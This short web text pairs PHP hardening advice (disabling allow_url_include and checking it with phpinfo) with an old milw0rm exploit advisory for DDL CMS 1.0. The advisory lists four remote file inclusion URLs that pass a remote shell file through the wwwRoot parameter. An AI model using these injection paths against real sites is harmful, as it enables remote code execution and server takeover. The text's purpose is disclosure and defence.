Turn off allow_url_include on your host. Ask your host or go to your php.ini to change it to off. You can also do it via WHM, go to PHP Configuration Editor, then click on Advanced. Turn allow_url_include to "off" and then click Save.
<?php
phpinfo();
?>
allow_url_include = Off
php_flag allow_url_include 0
+============================================================+
| |
| DDL CMS 1.0 Multiple Remote File Inclusion Vulnerabilities |
| |
+============================================================+
| |
| Author : HxH |
| |
| E-Mail : HxH[at]live[dot]at |
| |
+------------------------------------------------------------+
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| Script : http://www.ddlcms.com/DDLCMS_v1.0.zip |
| |
+------------------------------------------------------------+
| |
| Exploit : |
| |
| /header.php?wwwRoot=[Shell.txt?] |
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| /submit.php?wwwRoot=[Shell.txt?] |
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| /submitted.php?wwwRoot=[Shell.txt?] |
| |
| /autosubmitter/index.php?wwwRoot=[Shell.txt?] |
| |
+============================================================+
| |
| Greetz : ~ JiKo ~ ThE X ~ TSH ~ All No-Exploit.com Members |
| |
+============================================================+
http://www.milw0rm.com/exploits/9722